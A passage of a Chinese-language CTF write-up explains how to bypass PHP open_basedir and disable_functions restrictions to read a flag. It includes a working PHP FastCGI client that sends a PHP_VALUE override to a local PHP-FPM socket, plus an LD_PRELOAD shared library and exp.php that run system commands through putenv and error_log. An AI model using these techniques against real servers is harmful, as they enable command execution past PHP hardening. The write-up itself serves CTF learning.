              $resp = $this->readPacket();
              if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
                  if ( $resp['type'] == self::STDERR ) {
                      $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
                  }
                  $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
              }
              if ( $resp['type'] == self::END_REQUEST ) {
                  $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
                  if ( $resp['requestId'] == $requestId ) {
                      break;
                  }
              }
              if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
                  // Reset
                  $this->set_ms_timeout( $this->_readWriteTimeout );
                  throw new Exception( 'Timed out' );
              }
          } while ( $resp );
    if ( ! is_array( $resp ) ) {
              $info = stream_get_meta_data( $this->_sock );
              // We must reset timeout but it must be AFTER we get info
              $this->set_ms_timeout( $this->_readWriteTimeout );
              if ( $info['timed_out'] ) {
                  throw new TimedOutException( 'Read timed out' );
              }
              if ( $info['unread_bytes'] == 0
                   && $info['blocked']
                   && $info['eof'] ) {
                  throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
              }
              throw new Exception( 'Read failed' );
          }
          // Reset timeout
          $this->set_ms_timeout( $this->_readWriteTimeout );
          switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client("unix:///tmp/php-cgi.sock", -1);
  $php_value = "open_basedir = /";
$filepath  = '/tmp/readflag.php';
  $content   = 'Err0rzz';
echo $client->request(
      array(
          'GATEWAY_INTERFACE' => 'FastCGI/1.0',
          'REQUEST_METHOD'    => 'POST',
          'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
          'PHP_VALUE'         => $php_value,
),
$content
);

腳本中php_value的值是我們的FastCGI要傳給FPM的值用來修改php.ini,并且根據(jù)SCRIPT_FILENAME對(duì)php文件進(jìn)行執(zhí)行/tmp/readflag.php
同時(shí)腳本還要修改的地方,就是使用套接字協(xié)議去加載socketNginx連接fastcgi的方式有2種:TCPunix domain socket,腳本使用的即第二種形式。根據(jù)不同的php版本,找不同的fastcgi的套接字。在0CTF的題目中,大家用的是php7.2默認(rèn)的FPM套接字/run/php/php7.3-fpm.sock。其實(shí)FastCGI/FPM套接字都可以用。

出題人在tmp目錄已經(jīng)給我們FastCGI的套接字/tmp/php-cgi.sock,直接修改腳本new Client("unix:///tmp/php-cgi.sock", -1)
同時(shí)我們還要上傳一個(gè)readflag.php文件作為腳本的SCRIPT_FILENAME,這里我讓FPM為我們加載這樣一個(gè)php腳本,成功讀到readflag程序。

<?php
var_dump(file_get_contents('/readflag'));

buuoj的實(shí)例中,由于沒有用FPM/FastCGI,所以只能用error_log+putenv

#zz.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/flag");
}
# exp.php
<?php
putenv("LD_PRELOAD=/tmp/zz.so");
error_log('',1);
?>

上傳上面兩個(gè)文件到/tmp下,然后包含exp.php即可。
除了error_log外,mail也能調(diào)用了外部進(jìn)程sendmail

https://www.anquanke.com/post/id/175403#h2-3
https://www.anquanke.com/post/id/186186#h2-7
https://xz.aliyun.com/t/5598?tdsourcetag=s_pctim_aiomsg#toc-2

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容

  • 官網(wǎng) 中文版本 好的網(wǎng)站 Content-type: text/htmlBASH Section: User ...
    不排版閱讀 4,467評(píng)論 0 5
  • ORA-00001: 違反唯一約束條件 (.) 錯(cuò)誤說明:當(dāng)在唯一索引所對(duì)應(yīng)的列上鍵入重復(fù)值時(shí),會(huì)觸發(fā)此異常。 O...
    我想起個(gè)好名字閱讀 5,451評(píng)論 0 9
  • Swift1> Swift和OC的區(qū)別1.1> Swift沒有地址/指針的概念1.2> 泛型1.3> 類型嚴(yán)謹(jǐn) 對(duì)...
    cosWriter閱讀 11,145評(píng)論 1 32
  • 分享本題自制Dockerfile : Github 這題在比賽過程是0解......真的太難了...體現(xiàn)了Oran...
    Pr0ph3t閱讀 6,394評(píng)論 0 6
  • 家人們,下午好! 作業(yè)登記本,昨天還有兩位家長(zhǎng)沒有給孩子檢查簽名,其他的都有檢查簽名了,進(jìn)步很大啊,希望大家能堅(jiān)持...
    陽光溫溫閱讀 206評(píng)論 0 1